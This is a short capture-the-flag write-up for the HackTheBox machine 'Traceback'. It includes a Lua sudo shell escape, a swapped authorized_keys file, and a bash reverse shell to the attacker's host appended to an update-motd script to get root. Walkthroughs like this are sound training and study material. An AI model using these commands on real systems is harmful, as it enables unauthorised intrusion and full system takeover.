HackTheBox — Traceback

Summary

Traceback is a easy flag with ip 10.10.10.181

Enumeration

Nmap

Web Enum

I tried to take a look for source

From the hint, I searched for Xh4H web shells, I found some shells

I dumped all shells names on txt file and used gobuster

I used admin:admin credentials to login

After that i deleted the default authorized_keys and upload my one

Let’s login now

Get user sysadmin

$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

Afetr searching about lua
Create lua command shell:

echo "local t = os.execute('/bin/sh')" > rev.lua

execute rev.lua as sysadmin without password to get user:

sudo -u sysadmin /home/sysadmin/luvit rev.lua

Gain user flag!

Privilege Escalation

Enumerating the box using linpeas we see that we can modify files inside /etc/update-motd.d

I found this article that took about mot.d

I added a bash rev shell to 00-header

echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.xx.xx/4334 0>&1'" >> /etc/update-motd.d/00-header

listen on port 4334 and ssh to the box from another terminal

Now if we ssh as webadmin, Should get root

root@strike:~# ssh -i id_rsa webadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 

8c221146c17c2a973a846f49xxxxxxxx


Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Aug 15 06:23:37 2020 from 10.10.14.53
webadmin@traceback:~$

Gain root flag!

If u learn any thing useful from write up, Respect me on HackTheBox

THX for ur time!